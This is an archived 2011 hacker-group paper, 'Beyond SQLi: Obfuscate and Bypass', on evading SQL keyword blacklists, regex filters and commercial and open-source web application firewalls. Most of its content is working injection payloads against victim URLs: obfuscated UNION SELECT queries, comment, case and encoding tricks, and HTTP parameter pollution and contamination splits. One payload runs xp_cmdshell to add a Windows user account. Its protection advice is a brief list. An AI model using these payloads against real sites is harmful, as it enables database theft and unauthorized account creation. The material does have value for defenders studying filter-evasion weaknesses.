Beyond SQLi: Obfuscate and Bypass

Archived security papers and articles in various languages.

```
                |=---------------------------------------------
-----------------------=|
                |=---------------=[ Beyond SQLi: Obfuscate and
Bypass ]=----------------=|
                |=-------------------------=[ 6 October 2011
]=-----------------------=|
                |=----------------------=[  By CWH Underground
]=---------------------=|
                |=---------------------------------------------
-----------------------=|


######
 Info
######

Title   : Beyond SQLi: Obfuscate and Bypass
Author  : "ZeQ3uL" (Prathan Phongthiproek) and "Suphot
Boonchamnan"
Team    : CWH Underground [http://www.exploit-db.com/author/?
a=1275]
Date    : 2011-10-06


##########
 Contents
##########

  [0x00] - Introduction

  [0x01] - Filter Evasion (Mysql)

                [0x01a] - Bypass Functions and Keywords
Filtering
                [0x01b] - Bypass Regular Expression Filtering

  [0x02] - Normally Bypassing Techniques

  [0x03] - Advanced Bypassing Techniques

                [0x03a] - HTTP Parameter Pollution: Split and
```

[0x00] - Introduction

Welcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on. This papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection.
There are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system in the real world even though you spend more than 300,000 USD on a WAF.

This paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information.

Section 0x01, we give a details of how to bypass filter including basic, function and keyword.
Section 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF.
Section 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, "HTTP Parameter Contamination". and "HTTP Pollution: Split and Join". Section 0x04, we guide to protect your own website on the right solution.
The last, section 0x05, It's conclusion from Section 0x01-0x04.

[0x01] - Filter Evasion (Mysql)

This section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions.

This means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks.

++
[0x01a] - Bypass Functions and Keywords Filtering
++

Functions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful.

However, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users

when the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques.

Keyword filer: and, or

PHP filter code:

```
preg_match('/(and|or)/i', $id)
```

THe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &&, || instead of and, or respectively.

Filtered injection: 1 or 1 = 1

1 and 1 = 1

Bypassed injection: 1 || 1 = 1

1 && 1 = 1

Keyword filer: and, or, union

PHP filter code:

```
preg_match('/(and|or|union)/i', $id)
```

The keyword union is generally used to generate

```
an malicious statement in order to select extra data from the
database.

                Filtered injection:     union select user,
password from users
                Bypassed injection:     1 || (select user from
users where user_id = 1) = 'admin'

                ** Remark: you have to know table name, column
name and some data in the table, otherwise you have to get it
from information_schema.columns table using other statement
                e.g. use substring function to get each
character of table names.
                ------------------------------------------------
-----------------------


                Keyword filer:          and, or, union, where
                ------------------------------------------------
-----------------------
                PHP filter code:
preg_match('/(and|or|union|where)/i', $id)
                Filtered injection:     1 || (select user from
users where user_id = 1) = 'admin'
                Bypassed injection:     1 || (select user from
users limit 1) = 'admin'
                ------------------------------------------------
-----------------------


                Keyword filer:          and, or, union, where,
limit
                ------------------------------------------------
-----------------------
                PHP filter code:
preg_match('/(and|or|union|where|limit)/i', $id)
                Filtered injection:     1 || (select user from
users limit 1) = 'admin'
                Bypassed injection:     1 || (select user from
users group by user_id having user_id = 1) = 'admin'
                ------------------------------------------------
-----------------------


                Keyword filer:          and, or, union, where,
limit, group by
                ------------------------------------------------
-----------------------
                PHP filter code:
preg_match('/(and|or|union|where|limit|group by)/i', $id)
                Filtered injection:     1 || (select user from
users group by user_id having user_id = 1) = 'admin'
```

```
                Bypassed injection:     1 || (select
substr(gruop_concat(user_id),1,1) user from users ) = 1
                -----------------------------------------------
-----------------------


                Keyword filer:          and, or, union, where,
limit, group by, select
                -----------------------------------------------
-----------------------
                PHP filter code:
preg_match('/(and|or|union|where|limit|group by|select)/i',
$id)
                Filtered injection:     1 || (select
substr(gruop_concat(user_id),1,1) user from users) = 1
                Bypassed injection:     1 || 1 = 1 into outfile
'result.txt'
                Bypassed injection:     1 || substr(user,1,1) =
'a'
                -----------------------------------------------
-----------------------


                Keyword filer:          and, or, union, where,
limit, group by, select, '
                -----------------------------------------------
-----------------------
                PHP filter code:
preg_match('/(and|or|union|where|limit|group by|select|\')/i',
$id)
                Filtered injection:     1 || (select
substr(gruop_concat(user_id),1,1) user from users) = 1
                Bypassed injection:     1 || user_id is not
null
                Bypassed injection:     1 || substr(user,1,1) =
0x61
                Bypassed injection:     1 || substr(user,1,1) =
unhex(61)
                -----------------------------------------------
-----------------------


                Keyword filer:          and, or, union, where,
limit, group by, select, ', hex
                -----------------------------------------------
-----------------------
                PHP filter code:
preg_match('/(and|or|union|where|limit|group
by|select|\'|hex)/i', $id)
                Filtered injection:     1 || substr(user,1,1) =
unhex(61)
                Bypassed injection:     1 || substr(user,1,1) =
```

```
lower(conv(11,10,36))
                ---------------------------------------------
-----------------------


                Keyword filer:          and, or, union, where,
limit, group by, select, ', hex, substr
                ---------------------------------------------
-----------------------
                PHP filter code:
preg_match('/(and|or|union|where|limit|group
by|select|\'|hex|substr)/i', $id)
                Filtered injection:     1 || substr(user,1,1) =
lower(conv(11,10,36))
                Bypassed injection:     1 || lpad(user,7,1)
                ---------------------------------------------
-----------------------


                Keyword filer:          and, or, union, where,
limit, group by, select, ', hex, substr, white space
                ---------------------------------------------
-----------------------
                PHP filter code:
preg_match('/(and|or|union|where|limit|group
by|select|\'|hex|substr|\s)/i', $id)
                Filtered injection:     1 || lpad(user,7,1)
                Bypassed injection:     1%0b||%0blpad(user,7,1)
                ---------------------------------------------
-----------------------


                From the above examples, it can be seen that
there are a number of SQL statements used for bypassing the
black list although the black list contains many keywords and
functions.
        Furthermore, there are a huge SQL statements, that are
not on the mentioned examples, that can be used to bypass the
black list.

                Creating a bigger black list is not a good idea
to protect your own websites. Remember, the more keywords and
functions filtering, the less user friendly.


        ++++++++++++++++++++++++++++++++++++++++++++++
         [0x01b] - Bypass Regular Expression Filtering
        ++++++++++++++++++++++++++++++++++++++++++++++

                Regular expression filtering is a better
solution to prevent SQL injection than keywords and functions
filtering because it is used pattern matching to detect
```

attacks. Valid users are allowed to submit more flexible input to the server.

However, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6.

PHPIDS generally blocks input containing = or (or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, (or ' symbols.

```
[Code]-----------------------------------------------
--------------
filtered injection:             1 or 1 = 1
Bypassed injection:             1 or 1
[End Code]-------------------------------------------
--------------
```

```
[Code]-----------------------------------------------
--------------
filtered injection:             1 union select 1,
table_name from information_schema.tables where table_name =
'users'
filtered injection:             1 union select 1,
table_name from information_schema.tables where table_name
between 'a' and 'z'
filtered injection:             1 union select 1,
table_name from information_schema.tables where table_name
between char(97) and char(122)
Bypassed injection:             1 union select 1,
table_name from information_schema.tables where table_name
between 0x61 and 0x7a
Bypassed Injection:             1 union select 1,
table_name from information_schema.tables where table_name like
0x7573657273
[End Code]-------------------------------------------
--------------
```

```
#######################################
 [0x02] - Normally Bypassing Techniques
#######################################
```

In this section, we mention about the techniques to bypass Web Application Firewall (WAF). First thing you need to know what's WAF?

A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation.
Generally, these rules cover common attacks such as Cross-site

Scripting (XSS) and SQL Injection. By customizing the rules to your application,
many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.

WAFs are often called 'Deep Packet Inspection Firewalls' coz they look at every request and response within the HTTP/HTTPS/SOAP/XML-RPC/Web service lacers.
Some modern WAF systems work both with attack signatures and abnormal behavior.

Now Let's rock to understand How to breach it with obfuscate, All WAFs can be bypassed with the time to understand their rules or using your imagination !!

1. Bypass with Comments

SQL comments allow us to bypass a lot of filtering and WAFs.

[Code]----------
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
[End Code]----------

2. Case Changing

Some WAFs filter only lowercase SQL keyword.

Regex Filter: /union\sselect/g

[Code]----------
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
[End Code]----------

3. Replaced keywords

Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.

[Code]----------
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

```
                [End Code]----------------------------------
----------------------
```

Some case SQL keyword was filtered out and replaced with whitespace. So we can use "%0b" to bypass.

```
                [Code]--------------------------------------
----------------------
                http://victim.com/news.php?
id=1+uni%0bon+se%0blect+1,2,3--
                [End Code]----------------------------------
----------------------
```

For Mod_rewrite, Comments "/**/" cannot bypassed. So we use "%0b" replace "/**/".

Forbidden:
http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).htm

Bypassed :
http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html

4. Character encoding

Most CMSs and WAFs will decode and filter/bypass an application input, but some WAFs only decode the input once so
double encoding can bypass certain filters as the WAF will decode the input once then filter while application keep
decoding the SQL statement executing

```
                [Code]--------------------------------------
----------------------------------------------------------
---------
                http://victim.com/news.php?
id=1%252f%252a*/union%252f%252a
/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
                [End Code]----------------------------------
----------------------------------------------------------
---------
```

Moreover, these techniques can combine to bypass Citrix Netscaler

- Remove all "NULL" words
- Use query encoding in some parts
- Remove the single quote character "'"
- And Have fun !!

Credit: Wendel Guglielmetti Henrique

```
                and "Armorlogic Profense"  prior to 2.4.4 was
bypassed by URL-encoded newline character.


                #Real World Example

                1. NukeSentinel (Nuke Evolution)

                [Nukesentinel.php Code]-------------------------
-------------------------------------
                // Check for UNION attack
                // Copyright 2004(c) Raven PHP Scripts
                $blocker_row = $blocker_array[1];
                if($blocker_row['activate'] > 0) {
                 if
(stristr($nsnst_const['query_string'],'+union+') OR \

stristr($nsnst_const['query_string'],'%20union%20') OR \

stristr($nsnst_const['query_string'],'*/union/*') OR \
                stristr($nsnst_const['query_string'],' union ')
OR \

stristr($nsnst_const['query_string_base64'],'+union+') OR \

stristr($nsnst_const['query_string_base64'],'%20union%20') OR \

stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
                stristr($nsnst_const['query_string_base64'],'
union ')) {  // block_ip($blocker_row);
                   die("BLOCK IP 1 " );
                  }
                }
                [End Code]--------------------------------------
-------------------------------------

                We can bypass their filtering with these
script:

                Forbidden: http://victim.com/php-
nuke/?/**/union/**/select..
                Bypassed : http://victim.com/php-
nuke/?/%2A%2A/union/%2A%2A/select
                Bypassed : http://victim.com/php-nuke/?
%2f**%2funion%2f**%2fselect


                2. Mod Security CRS (Credit: Johannes Dahse)

                [SecRule]---------------------------------------
-------------------------------------
```

```
                SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/*
"\bunion\b.{1,100}?\bselect\b" \
"phase2,rev:'2.2.1',capture,t:none,

t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:

                msg:'SQL Injection
Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WAS
19',tag:'OWASP_TOP_10/A1',

tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%
{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
                setvar:tx.sql_injection_score=+%
{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%
{tx.critical_anomaly_score},
                setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%
{matched_var_name}=%{tx.0}"
                [End Rule]----------------------------------
----------------------------------

                We can bypass their filtering with this code:

                [Code]--------------------------------------
----------------------------------
                http://victim.com/news.php?
id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurr

                [End Code]----------------------------------
----------------------------------

                From this attack, We can bypass Mod Security
rule. Let see what's happen !!

                MySQL Server supports 3 comment styles:
                        - From a "#" character to the end of
the line
                        - From a "--" sequence to the end of
the line
                        - From a /* sequence to the following
*/ sequence, as in the C programming language.
                          This syntax enables a comment to
extend over multiple lines because the beginning and closing
sequences need
                          not be on the same line.

                The following example, We used "%0D%0A" as the
new line characters. Let's take a look at the first request(to
extract the DB user)
                The resulting SQL payload looked something like
this:

                        0 div 1 union#foo*/*/bar
```

```
                        select#foo
                        1,2,current_user
```

However the SQL payload, when executed by the MySQL DB, looked something like this:

```
                        0 div 1 union select 1,2,current_user
```

5. Buffer Overflow

WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.
Give a large amount of data allows our code executing

```
[Code]----------------------------------------
---------------------------------------
http://victim.com/news.php?id=1+and+(select 1)=
(select
0x41414141414144141414141411414141414141414141414141414141
414141414141
.)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
[End Code]--------------------------------------
---------------------------------------
```

6. Inline Comments (Mysql Only)

From MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write
code that includes MySQL extensions, but is still portable, by using comments of the following form:

```
/*! MySQL-specific code */
```

In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement,
but other SQL servers will ignore the extensions.

A lot of WAFs filter SQL keywords like /union\sselect\ig We can bypass this filter by using inline comments.

```
[Code]----------------------------------------
---------------------------------------
http://victim.com/news.php?
id=1/*!UnIoN*/SeLecT+1,2,3--
[End Code]--------------------------------------
```

```
-------------------------------------

                Inline comments can be used throughout the SQL
statement so if table_name or information_schema are filtered
we can
                add more inline comments

                [Code]----------------------------------------
-------------------------------------
                http://victim.com/news.php?
id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!infor

                /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
                [End Code]-------------------------------------
-------------------------------------



#######################################
 [0x03] - Advanced Bypassing Techniques
#######################################

        In this section, we offer 2 techniques are "HTTP
Pollution: Split and Join" and "HTTP Parameter Contamination".
From these techniques can bypass a lot of OpenSource and
Commercial Web application firewall (WAF)


        ++++++++++++++++++++++++++++++++++++++++++++++++++
         [0x03a] - HTTP Parameter Pollution: Split and Join
        ++++++++++++++++++++++++++++++++++++++++++++++++++

                HTTP Pollution is a new class of injection
vulnerability by Luca Carettoni and Stefano Di Paola. HPP is a
quite simple but
        effective hacking technique. HPP attacks can be defined
as the feasibility to override or add HTTP GET/POST parameters
by injecting
        query string.

        Example of HPP: "http://victim.com/search.aspx?
par1=val1&par1=val2"

        HTTP Parameter Handling: (Example)

        +-----------------------------------------------------
------------+
        | Web Server      | Parameter Interpretation     |
Example    |
        +-----------------------------------------------------
------------+
        | ASP.NET/IIS     | Concatenation by comma       |
```

```
par1=val1,val2  |
        | ASP/IIS         | Concatenation by comma       |
par1=val1,val2  |
        | PHP/Apache      | The last param is resulting  |
par1=val2          |
        | JSP/Tomcat      | The first param is resulting |
par1=val1          |
        | Perl/Apache     | The first param is resulting |
par1=val1          |
        | DBMan           | Concatenation by two tildes  |
par1=val1~~val2 |
        +-----------------------------------------------------
------------+
```

What would happen with WAFs that do Query String parsing before applying filters ? (HPP can be used even to bypass WAFs)

Some loose WAFs may analyze and validate a single parameter occurrence only (first or last one). Whenever the deal environment concatenates

multiple occurrences (ASP, ASP.NET, DBMan,) an aggressor can split the malicious payload.

In a recent penetration test (Again), we were able to bypass a Imperva SecureSphere using "HPP+Inline Comment" on ASP/ASP.NET environment.

This technique can bypass other Commercial WAFs too. More information about "HPP+Inline Comment" show below:

#Real World Example:

1. Mod Security CRS (Credit: Lavakumar Kuppan)

The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.

Forbidden: http://victim.com/search.aspx?q=select name,password from users

When the same payload is split against multiple parameters of the same name ModSecurity fails to block it.

Bypassed : http://victim.com/search.aspx?q=select name&q=password from users

Let's see what's happen, ModSecurity's interpretation is

q=select name
q=password from users

ASP/ASP.NET's interpretation is
q=select name,password from users

*Tip: This attack can be carried out on a POST variable in a similar way

2. Commercial WAFs

Forbidden: http://victim.com/search.aspx?q=select name,password from users

Now we use HPP+Inline comment to bypass it.

Bypassed : http://victim.com/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users

Analyzing, WAF's interpretation is

q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users

ASP/ASP.NET's interpretation is
q=select/*,*/name,password/*,*/from/*,*/users
q=select name,password from users

3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs)

Forbidden: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell net user zeq3ul UrWaFisShiT /add --

Now we use HPP+Inline comment to bypass it.

Bypassed : http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user lucifer UrWaFisShiT /*&id=1*/ --

Analyzing, WAF's interpretation is

id=1; /*
id=1*/ EXEC /*
id=1*/ master..xp_cmdshell /*
id=1*/ net user zeq3ul UrWaFisShiT /*
id=1*/ --

```
                ASP/ASP.NET's interpretation is
                id=1; /*,1*/ EXEC /*,1*/ master..xp_cmdshell
/*,1*/ net user zeq3ul UrWaFisShiT /*,1*/ --
                id=1; EXEC master..xp_cmdshell net user zeq3ul
UrWaFisShiT --


                The easiest mitigation to this attack would be
for the WAF to disallow multiple instances of the same
parameter in a single HTTP request.
        This would prevent all variations of this attack.
                However this might not be possible in all cases
as some applications might have a legitimate need for multiple
duplicate parameters.
        And they might be designed to send and accept multiple
HTTP parameters of the same name in the same request.To protect
these applications the WAF
        should also interpret the HTTP request in the same way
the web application would.


        ++++++++++++++++++++++++++++++++++++++++
         [0x03b] - HTTP Parameter Contamination
        ++++++++++++++++++++++++++++++++++++++++

                HTTP Parameter Contamination (HPC) original
idea comes from the innovative approach found in HPP research
by
        exploring deeper and exploiting strange behaviors in
Web Server components, Web Applications and Browsers as a
result of query string
        parameter contamination with reserved or non expects
characters.

        Some facts:
        - The term Query String is commonly used to refer to
the part between the  "?" and the end of the URI
        - As defined in the RFC 3986, it is a series of field-
value pairs
        - Pairs are separated by "&" or ";"
        - RFC 2396 defines two classes of characters:
                Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
                Reserved  : ; / ? : @ & = + $ ,
                Unwise    : { } | \ ^ [ ] `

                Different web servers have different logic for
processing special created requests. There are more web server,
backend platform and special character combinations,
        but we will stop here this time.

        Query string and Web server response (Example)
```

```
        +-----------------------------------------------------
-----+
        | Query String    |    Web Servers response / GET
values    |
        +-----------------------------------------------------
-----+
        |                 | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP
|
        +-----------------------------------------------------
-----+
        | ?test[1=2       | test_1=2                 | test[1=2
|
        | ?test=%         | test=%                   | test=
|
        | ?test%00=1      | test=1                   | test=1
|
        | ?test=1%001     | NULL                     | test=1
|
        | ?test+d=1+2     | test_d=1 2               | test d=1
2   |
        +-----------------------------------------------------
-----+

        Magic character "%" affect to ASP/ASP.NET

        +-----------------------------------------------------
--------------+
        |       Keywords     |        WAF                |
ASP/ASP.NET     |
        +-----------------------------------------------------
--------------+
        | sele%ct * fr%om..  | sele%ct * fr%om..         |
select * from..  |
        | ;dr%op ta%ble xxx  | ;dr%op ta%ble xxx         |
;drop table xxx  |
        | <scr%ipt>          | <scr%ipt>                 |
<script>             |
        | <if%rame>          | <if%rame>                 |
<iframe>         |
        +-----------------------------------------------------
--------------+


        #Real world examples:

        1. Bypass Mod_Security SQL Injection rule
(modsecurity_crs_41_sql_injection_attacks.conf)

                [Filtered]----------------------------------
-------------------------------------------
```

```
                [Sun Jun 12 12:30:16 2011] [error] [client
192.168.2.102] ModSecurity: Access denied with code 403 (phase
2). Pattern match "\\bsys\\.user_objects\\b"
                at ARGS_NAMES:sys.user_objects. [file
"/etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_in
 [line "110"] [id "959519"]
                [rev "2.2.0"] [msg      "Blind SQL Injection
Attack"] [data "sys.user_objects"] [severity "CRITICAL"] [tag
"WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
                [tag "OWASP_TOP_10/A1"] [tag
"OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname
"localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]

                [End Code]----------------------------------
----------------------------------------

                Forbidden: http://localhost/?xp_cmdshell
                Bypassed : http://localhost/?xp[cmdshell

        2. Bypass URLScan 3.1 DenyQueryStringSequences rule

                Forbidden: http://localhost/test.asp?
file=../bla.txt
                Bypassed : http://localhost/test.asp?
file=.%./bla.txt

        3. Bypass AQTRONIX Webknight (WAF for IIS and
ASP/ASP.Net)

                Forbidden: http://victim.com/news.asp?id=10 and
1=0/(select top 1 table_name from information_schema.tables)
                Bypassed : http://victim.com/news.asp?id=10
a%nd 1=0/(se%lect top 1 ta%ble_name fr%om
info%rmation_schema.tables)

                From this situation, Webknight use SQL keywords
filtering when we use "HTTP contamination" by insert "%" into
SQL keywords WAF is bypassed and sending these
                command to Web server: "id=10 and 1=0/(select
top 1 table_name from information_schema.tables)" because "%"
is cutter in web server.


                These types of hacking techniques are always
interesting because they reveal new perspectives on security
problems.
        Many applications are found to be vulnerable to this
kind of abuse because there are no defined rules for strange
web server behaviors.
                HPC can be used to extend HPP attack with
spoofing real parameter name in the QUERY_STRING with "%"
character on an IIS/ASP platform,
```

```
        if there is WAF who blocks this kind of an attack.


#####################################
 [0x04] - How to protect your website
#####################################

- Implement Software Development Life Cycle (SDLC)
- Secure Coding: Validate all inputs and outputs
- PenTest before online
- Harden it !!
- Revisit PenTest
- Deploy WAF (For Optional)
- Always check WAF patch


####################
 [0x05] - Conclusion
####################

- WAFs is not the long-expected
- It's functional limitations, WAF is not able to protect a web
app from all possible vulnerabilities
- It's necessary to adapt WAF filter to the particular web app
being protected
- WAF doesn't eliminate a vulnerability, It just partly screens
the attack vector


####################
 [0x06] - References
####################

[1] WAF Bypass: SQL Injection - Kyle
[2] http://cwe.mitre.org/data/definitions/98.html
[3] HTTP Parameter Contamination - Ivan Markovic NSS
[4] Split and Join - Lavakumar Kuppan
[5] HTTP Parameter Pollution - Luca Carettoni and Stefano di
Paola
[6] blog.spiderlabs.com


####################
 [0x07] - Greetz To
####################

Greetz      :  ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors,
Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
Special Thx :  Exploit-db.com
```

```
                                --------------------------------
----------------------
                Our disclosure purpose isn't helping security
products but need to reveal theirs shit.
                   Security Products not able to 100% protect
from damn config/coding of admin.
                                  Just need a time and
imagination for breach it !!
                                --------------------------------
----------------------
```